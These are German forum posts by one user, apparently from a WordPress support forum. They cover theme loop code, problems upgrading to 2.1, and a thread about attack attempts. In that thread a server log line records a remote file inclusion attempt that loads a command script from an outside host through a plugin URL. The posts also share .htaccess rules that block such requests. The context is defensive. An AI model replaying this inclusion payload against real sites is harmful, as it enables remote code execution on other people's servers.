Beiträge von TomsDiner

    Was hat das mit WordPress zu tun? Bei WordPress kann man sich nicht mit E-Mail+Passwort anmelden. Damit fängt es schon mal an.

    Ansonsten benötigst du ein Customfield und eine Abfrage/Filter. In dem Customfield fügst du z.B. die E-Mail oder den Benutzernamen des Kunden ein für den die Seite bestimmt ist.
    Dann ist die Frage wie es weiter gehen soll. Wenn im Theme irgendwo wp_list_pages verwendet wird, kann man sich da einhaken und die entsprechenden Seiten raus filtern die für den Benutzer bestimmt sind.
    Ansonsten wäre es denkbar nach dem Login zu überprüfen ob es für den Kunden eine spezifizierte Seite gibt und kann ihn dann mit wp_redirect dorthin umleiten.

    Gut, dann spare ich mir die weitere Erklärung. Kurzform:

    PHP
    /* Ist es der erste Post? */
      if( $firstPost AND !is_paged() )

    Bedeutet in menschlicher Sprache: Wenn $firstPost wahr ist UND is_paged() NICHT wahr ist, dann...
    is_paged() ist wahr wenn es eine Unterseite ist. Das '!' vor is_paged() bedeutet so viel wie "nicht".

    Stimmt auch. Da fehlte noch ein Else-Zweig, da ansonsten alles was nach der If-Abfrage kommt auf jeden Fall ausgeführt wird.

    PHP
    else {
           /* Alle anderen Posts */
            [...]
           /* Ende restlichen Posts */
    }

    Naja, ich schüttel mir den Code auch mehr so aus dem Ärmel und teste ihn nicht. Ansonsten müsste ich mir für jede Hilfestellung wahrscheinlich erst einmal eine Testumgebung einrichten, wäre etwas aufwendig.

    Zitat

    der Code funktioniert, aber es wird ein Auszug angezeigt und dann die Posts, also genau andersrum.

    Stimmt. Aber so genau habe ich mir den von dir geposteten Code auch nicht angeschaut. Etwas Struktur tut gut, gerade wenn man Code an jemanden anderes übergibt. Und vollkommen unverzichtbar sind Kommentare. Ansonsten muss man sich mühevoll reinfummeln was das alles eigentlich zu bedeutet hat.

    Falls dieser Code auch nicht tut was er soll, dann musst du dir halt mal genau aufschreiben was du eigentlich haben willst und es Schritt für Schritt in PHP/HTML umsetzen.

    Zitat

    Gibt es eine Möglichkeit, auf der ersten paginierten Archivseite den Post ganz darzustellen, dann nachfolgend Auszüge, auch auf Seite 2 usw. Mit dem obigen Code stellt er auch auf den Folgeseiten oben einen Post groß dar.

    Danke,
    Wolf

    Das ist in etwa die Struktur die hinter dem obigen Code steht. Fängst halt mit der Schleife an und schreibst dann in die Schleife rein was gemacht werden soll. Danach fängst du an die Abfragen (Bedingungen Wenn-Dann) zu formulieren und als letztes das, was bei den jeweiligen Abfragen drin steht mit Inhalten (Code) auszufüllen. Dabei gehst du einfach von links nach rechts vor (als erstes was ganz links steht, danach die weiter rechts stehenden Einrückungen).
    Damit solltest du in der Lage sein auch dein zweites Problem zu lösen (Tipp: is_paged() ). Du musst nur herausfinden unter welchen Bedingungen der komplette Post NICHT angezeigt werden soll, dies in eine Abfrage umsetzen bzw. eine bestehende erweitern und es dann in PHP formulieren.

    Antworten im Forum können nur Hilfe zur Selbsthilfe sein. Ich schreibe hier keine Tutorials oder übernehme gratis ein komplettes Theme-Design. (Das würde mindestens 20€ die Stunde kosten ;) )

    Du musst nicht nur Artikel lesen, sondern auch die Kommentare. Da steht meistens das drin, was man sucht.

    Bau dir einen Zähler ein:

    PHP
    <?php
    $counter = 1;
    /* Start the loop */
    while ( have_posts() ): the_post(); ?>

    Den kannst du dann zusätzlich zu Archiv und Kategorie abfragen:

    PHP
    <?php if ( (is_category() || is_archive()) AND ($counter === 1) ) { 
    $counter++;
    ?>


    Die zweite Zeile in menschliche Sprache übersetzt bedeutet:
    Wenn es entweder eine Kategorie oder ein Archiv ist und zudem der Zähler genau 1 ist, dann...
    Meistens kann man Probleme beheben indem man erst einmal formuliert was man machen will und das ganze dann in PHP "übersetzt".

    also die smilies hab ich jetzt deaktiviert, jetzt ist die fehlermeldung auch weg.
    ich hab alles normal hochgeladen, also müssten sie da sein.

    Keine Ahnung also, woran der fehler liegt/lag


    Du hast aller Wahrscheinlichkeit nach nicht alle Dateien überschrieben. In der Datei wp-includes/vars.php werden die Smilies definiert. Diese Datei hat als Erstellungsdatum den 18.Dezember. Die anderen den 31. Januar. Andere wiederum den 14. Januar.

    Auf alle Fälle wirft vars.php einen Fehler in Zeile 97 aus. Die vars.php von WP2.1 hat aber nur 95 Zeilen.

    Ergo: Am besten alle Dateien (außer .htaccess & wp-config.php und den Ordner wp-content) löschen bevor man ein Update macht. Ansonsten hast du u.U. ein Mix aus alten und neuen Dateien.

    Ich wollte soeben von 2.0.7 auf 2.1 updaten, nun habe ich über jeden Beitrag folgenden Text:

    function convert_smilies($text) (wp-includes/formatting.php) ... schalt mal die Smilies ab, scheint wohl daran zu liegen.

    Irgendwo scheint was bei der Installation der Smilies nicht richtig gelaufen zu sein. Oder ein Plugin fummelt noch dazwischen.

    Ist nur ne Vermutung weil da sehr oft was von tiny_mce_gzip.php steht, aber versuch mal unter Einstellungen/Lesen die gzip Komprimierung ein- bzw. auszuschalten.

    Zitat


    tiny_mce_gzip.php:
    * This file compresses the TinyMCE JavaScript using GZip and
    * enables the browser to do two requests instead of one for each .js file.

    Wenn du Pech hast, dann passt die Gzip-Version die auf deinem Server installiert ist (sofern eine vorhanden ist) nicht zum neuen tinyMCE.

    Hi, ich habe WP von 2.0.7 auf 2.1 geupgraded.

    Wenn ich nun im neuen visuellen Editor versuche auf den Tab, CODE zu wechseln, bleibt alles gleich. Ich kann auch seitdem einträge speichern oder verändern, weil beim klick auf veröffentlichen oder speichern das gleiche "wollen Sie diese Seite wirkl. verlassen" Popup kommt wie als wenn ich das fenster schliessen würde...

    jemand ideen?


    Wenn du den FireFox benutzt, dann schau mal was dir die Fehlerkonsole (im Menü Extras) sagt. Im IE ist das unter Extras/Internetoptionen/Erweitert/Browsen/Scriptfehler anzeigen.

    Dein Problem klingt so als wenn der tinyMCE-Editor (oder wie das Tier sich nennt) nicht richtig installiert ist.

    *Mgrmpf*

    Das ist mir schon klar. Aber es ist vielleicht möglich, dass es mal eine Semmelstatz-Version gab, bei der es eine semmelstatz2/admin.php gab? Ich kann es leider nicht nachprüfen, da es anscheinend keine älteren Versionen zum Download gibt.

    "Meinte aber das es bei keiner Version von Semmelstatz je eine Datei namens admin.php gegeben hätte." (5. Post in diesem Thread)

    Ist das irgendwie rückwärts Polnisch oder auf anderen Weg nicht richtig verständlich? Ich frag nur. Weil bis jetzt alle behaupten sie könnten lesen und sie hätten es auch getan.

    Vielleicht erstmal schauen auf welche Textstelle ich mich in meinem letzten Zitat beziehe?
    Rummeckern man solle das Plugin raus werfen wenn der Autor nicht antwortet oder nicht in der Lage sei was zu tun, obwohl der Autor bereits geantwortet hat, ist schon ein wenig arg suboptimaler Mist.


    Und es nützt nichts das die admin.php im wp-admin Ordner aufgerufen wird, wenn diese eine Datei laden soll die es nicht gibt. Das ganze würde nur dann funktionieren, wenn es im Ordner semmelstatz auch tatsächlich eine admin.php geben würde.

    [Denken. Lenken. Posten.]


    Das Plugin scheint entweder irgendwann mal, oder aktuell, eine Lücke (gehabt) zu haben, die solche Sachen ausnutzt.

    Wenn der Ersteller des Plugin nicht in der Lage ist die Lücke zu erkennen bzw. zu beseitigen und sich nicht dazu äußert -> raus damit!

    vs.

    Zitat


    PPS:
    Habe grade Antwort vom Autor des Plugins bekommen. Er ist auch nicht der Experte in Sachen Exploits oder ähnlichem. Meinte aber das es bei keiner Version von Semmelstatz je eine Datei namens admin.php gegeben hätte. Von daher scheint es eher so, als wenn jemand zufällig genau diese URL bombadiert hätte.

    Wie sagten wir früher in Foren immer? Thread lesen hilft. Oder: Wer Lesen kann ist klar im Vorteil.

    Es gab nicht mal eine admin.php in Semmelstatz. In keiner der Versionen.

    Ich habe immer noch folgende Fehlermeldung!

    WordPress database error: [You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1]
    SELECT cat_id, cat_name FROM

    Was läuft denn da falsch?? Würde mich freuen, wenn Ihr Antworten hättet!

    Danke im Vooraus! (info@radio-vhr.de)


    a) Wann oder wo bekommst du die Fehlermeldung?
    b) Welche MySQL-Version?
    c) Update von WPx.x.x auf 2.1 oder Neuinstallation?


    Hilfreich wäre es wohl wenn man die komplette SQL-Abfrage kennen würde. Scheint aber so, als wenn du eine falsche MySQL-Version verwendest.

    Mal kurz zusammenfassen

    Es ist Webspace, Neudeutsch Shared Hosting.
    Mein Hoster hat auf Anfrage bombenschnell und kompetent reagiert. Die Idee mit dem Zugriff per .htaccess zu verhindern war schon richtig. Allerdings sieht das ganze nun eine wenig anders aus:

    Apache Configuration
    RewriteEngine on
    RewriteBase /
    RewriteCond %{QUERY_STRING}  (.*)http(.*)      [NC]
    
    
    RewriteRule .* - [F,L]

    Alle Anfragen die ein http in der Anfrage enthalten, werden abgelehnt. Ich habe noch eine zusätzliche Zeile eingefügt, da ich auch Downloadcounter verwende die ein http mit verschicken.
    Ansonsten dürften die 2-4 Zeilen htaccess-Code auch für andere interessant sein.

    Ansonsten war diese Art des Angriffs wohl schon bekannt. Die Hacker versuchen dabei verschiedenen Code (PHP, Perl, Asp, und was es sonst noch gibt) auszuführen indem die Seite nachgeladen wird.
    Mir wurde es so erklärt: Manche Scripts laden, wenn sie ausgeführt werden, Webseiten nach und versuchen den darin enthaltenen Code auszuführen. Das funktioniert in etwa so wie die Vorschaufunktion in WordPress.
    Ist das Script schlecht geschrieben, wird auch fremder Code von anderen Webseiten ausgeführt.
    Der htaccess-Code oben kann also für alle diejenigen interessant sein, die noch andere Scripte außer WordPress (z.B. Counter, Downloadscripte, usw) installiert haben. Aber auch ein fehlerhaft geschriebenes Plugin kann eine Sicherheitslücke darstellen.

    DB korrekt?

    Mal eine Frage an diejenigen die WP2.1.0 neu installiert haben: Kann es sein das bei der Installation nicht alle Daten korrekt in die DB geschrieben werden?

    Zum einen hatte ich das Problem das nach der Installation die Benutzer keinen User-Level hatten. Nachdem ich den Benutzern eine Rolle zugeteilt hatte, hatten sie einen Benutzer-Level.
    Zum Anderen hatte ich Probleme mit meinem selbst gestrickten Theme. Da funktionierte die Template-Funktion next_posts_link() plötzlich nicht mehr. Bis ich grade eben noch einmal explizit die Anzahl an Beiträgen eingegeben habe die pro Seite angezeigt werden sollen. Nun funktioniert es.

    Habe WP2.1.0 jetzt zwei mal frisch installiert. Jedes mal das gleiche. Wenn ich manche Optionen nicht explizit noch einmal eingebe und speichere, sind sie quasi nicht vorhanden.

    Ich habe WP2.1.0 frisch installiert, also kein Update! Apache 2.0 & PHP 4.3.9 & MySQL 4.0.20

    Mastermind, habe ich beides schon gemacht. Also mich an den Autor gewendet und den User-Agenten geblockt.

    Zusätzlich habe ich noch eine .htaccess im Ordner wp-admin erstellt die den Zugriff auf die Dateien dort beschränken soll:

    Apache Configuration
    <FilesMatch "\.(php|htm|html|js)$">
    RewriteEngine on
    RewriteCond %{HTTP_REFERER} !^$
    RewriteCond %{HTTP_REFERER} !^http://(www\.)?example\.com/.*$ [NC]
    RewriteRule .* - [F,L]
    </FilesMatch>

    Damit sollten eigentlich alle Zugriffe auf PHP- und HTML-Dateien im wp-admin Odner verboten sein, wenn sie denn nicht von der eigenen Domain kommen. Ich hoffe doch mal das es so funktioniert.

    PS:
    Hier gibt es aber auch ein paar merkwürdige Gesellen. Schickt mir doch jemand einen PHP-Codeschnipsel per PN ohne jeglichen Hinweis wo ich den einbauen soll oder einen anderen Kommentar. Na danke, dass ist ja hilfreich :?
    Weiß jemand was damit anzufangen:

    PHP
    // Save login tries and last login 
    if ($row['user_id'] != cookies) 
    { 
    $sql = 'UPDATE ' . USERS_TABLE . ' 
    SET user_login_tries = user_login_tries + 1* user_last_login_try = ' . time() . ' 
    WHERE user_id = ' . $row['user_id']; 
    $db->sql_query($sql); 
    }

    PPS:
    Habe grade Antwort vom Autor des Plugins bekommen. Er ist auch nicht der Experte in Sachen Exploits oder ähnlichem. Meinte aber das es bei keiner Version von Semmelstatz je eine Datei namens admin.php gegeben hätte. Von daher scheint es eher so, als wenn jemand zufällig genau diese URL bombadiert hätte.

    Ich werde die Sache auch noch mal mit meinem Hoster klären. Vielleicht kann der mehr dazu sagen.

    Ups

    Kann daran liegen das ich grade an der .htaccess bastel um Zugriffe von Außen ein wenig zu regulieren. Ich habe nämlich noch wesentlich mehr Versuche in den Logfiles entdeckt.

    Hier mal der komplette Auszug:

    Kennt sich hier jemand mit Exploits und ähnlichem gut aus?

    Ich habe grade eben folgendes aus meinen Server-Logs gezogen:

    Code
    "GET /wp-admin/admin.php?page=semmelstatz2/admin.php?page=http://heidii.by.ru/cmdi.txt? HTTP/1.1" 302 5 "-" "libwww-perl/5.805"

    Insgesamt waren es so um die 50 Zugriffe. Den kompletten Auszug habe ich unter http://neun12.de/media/log.txt gespeichert.
    Da ich zu dem Zeitpunkt noch kein Semmelstatz installiert hatte, dürften die alle irgendwo im Nirvana gelandet sein. Allerdings ist auf der Seite die da im Log auftaucht (heidii.by.ru) eine Menge merkwürdiges Zeugs was mir nicht so ganz koscha erscheint.

    Falls sich also jemand mit so Sachen etwas besser auskennt, wäre ich um Aufklärung und für Hinweise dankbar.